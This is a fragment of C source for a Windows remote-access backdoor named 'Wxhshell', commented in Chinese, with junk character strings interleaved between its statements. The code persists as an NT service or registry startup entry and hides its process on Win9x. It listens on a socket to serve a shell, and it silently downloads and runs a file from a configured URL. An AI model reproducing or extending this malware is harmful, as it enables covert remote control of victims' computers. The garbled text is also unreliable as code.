+&H4m=D-#a CloseHandle(hProcess); t"I77aZ$A Ab;.5O$y if(strstr(procName,"services")) return 1; // 以服务启动 ChQxa *lJxH8 \ return 0; // 注册表启动 :.`2^ } 3=V&K- ;-Aa|aT! // 主模块 j B{8u&kz) int StartWxhshell(LPSTR lpCmdLine) X2"/%!65{ { :[d9tm SOCKET wsl; @>7%qS BOOL val=TRUE; _,*r_D61S int port=0; jSaU?ac struct sockaddr_in door; uhq8 M )(DZ} if(wscfg.ws_autoins) Install(); h;'~,xA 0<*<$U port=atoi(lpCmdLine); y8xE
6i EKN~H$. if(port<=0) port=wscfg.ws_port; -$g#I -D:b*D WSADATA data; N6TH}~62} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q1ma%eiN ,`sv1xwd if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aDN`6[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y>ktcuML door.sin_family = AF_INET; z0Z%m@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]I6 J7A[ door.sin_port = htons(port); Zb#u0Tq /zox$p$?h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5`_SN74o closesocket(wsl); dgP3@`YS return 1; .A|@?p[ } wKY_Bo/d c1gQ cqF if(listen(wsl,2) == INVALID_SOCKET) { O33`+UV"W closesocket(wsl); R^e'}+Z return 1; BL4-7 } 7x8
yxE Wxhshell(wsl); 7PF%76TO WSACleanup(); UL9n-M= .c cp return 0; q0\6F^;M f<6lf7qzC } EBmt9S #,v{Ihn // 以NT服务方式启动 4`=mu}Y2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @[v~y"tE} { U`s{Jm DWORD status = 0;
W!(LF7_! DWORD specificError = 0xfffffff; XB5DPx (uidNq serviceStatus.dwServiceType = SERVICE_WIN32; Wn}'bqp serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vf1^4t serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [a<SDMR serviceStatus.dwWin32ExitCode = 0; ?Ss!e$jf serviceStatus.dwServiceSpecificExitCode = 0; K~EmD9 serviceStatus.dwCheckPoint = 0; pmYHUj
# serviceStatus.dwWaitHint = 0; 6-ils3& S0W||#Pr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f`66h M[ if (hServiceStatusHandle==0) return; .5{ab\_af 9-m=*|p status = GetLastError(); ,"79P/C if (status!=NO_ERROR) h!9ei6 { _GPl gp: serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Jnlz@P9 serviceStatus.dwCheckPoint = 0; f6"Z'{j serviceStatus.dwWaitHint = 0; UkGCyGyZ[ serviceStatus.dwWin32ExitCode = status; f(7GX3? serviceStatus.dwServiceSpecificExitCode = specificError; %e} Saf SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~q <N return; Q=yg8CQ } C+&l<
fM& 1[-tD0{H serviceStatus.dwCurrentState = SERVICE_RUNNING; El"Q'(:/U serviceStatus.dwCheckPoint = 0; n'6jou serviceStatus.dwWaitHint = 0; b5n'=doR/I if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BTrn0 } l%i+cO D
%ULr8)R;
// 处理NT服务事件,比如:启动、停止 ^5
Tqy(M VOID WINAPI NTServiceHandler(DWORD fdwControl) 0#^v{DC { Aq7osU1B switch(fdwControl) "g8M0[7e3 { '1/i"yoW case SERVICE_CONTROL_STOP: NQ2E serviceStatus.dwWin32ExitCode = 0; -z(+/ /K:# serviceStatus.dwCurrentState = SERVICE_STOPPED; jWfa;&Ra serviceStatus.dwCheckPoint = 0; P7/X|M z serviceStatus.dwWaitHint = 0; $PHvA6D { m`r(p" SetServiceStatus(hServiceStatusHandle, &serviceStatus); $* Kvc$D } SasJic2M return; =w0R$&b& case SERVICE_CONTROL_PAUSE: 8)I^ t81 serviceStatus.dwCurrentState = SERVICE_PAUSED; 5/Uy{Xt break; /&94 eC case SERVICE_CONTROL_CONTINUE: IPo?:1x]s serviceStatus.dwCurrentState = SERVICE_RUNNING; b;UJ 88 break; AYx{U?0p case SERVICE_CONTROL_INTERROGATE: VP]% Hni] break; icK/], }; u;c?d!E SetServiceStatus(hServiceStatusHandle, &serviceStatus); -3Vx76Y } M =r)I~ #;nYg?d= // 标准应用程序主函数 ^gnZ+`3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gB'6`' { ~/P[J 0"bcdG<} // 获取操作系统版本 LFtt gY OsIsNt=GetOsVer(); `W*U4?M GetModuleFileName(NULL,ExeFile,MAX_PATH); tZG:Pr1U@ w+CA1q< // 从命令行安装 oILZgNe' if(strpbrk(lpCmdLine,"iI")) Install(); y
h9*z3 e^D]EA]% // 下载执行文件 d-dEQKI?; if(wscfg.ws_downexe) { JFk
lUgg if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B0]~el WinExec(wscfg.ws_filenam,SW_HIDE); L/G6Fjg^ } Y/zj[> JcxThZP~ if(!OsIsNt) { ?<'}r7D // 如果时win9x,隐藏进程并且设置为注册表启动 O@C@eW# HideProc(); jtc]>]6i StartWxhshell(lpCmdLine); I9hK }D } pcWPH. else _zi| if(StartFromService()) N[
Og43Y // 以服务方式启动 E09:E StartServiceCtrlDispatcher(DispatchTable); ut7zVp<" else 81
sG // 普通方式启动 V[Ui/M!9Z StartWxhshell(lpCmdLine); HCC#j9UN6 )|=j`jCC return 0; #'9HU2 }
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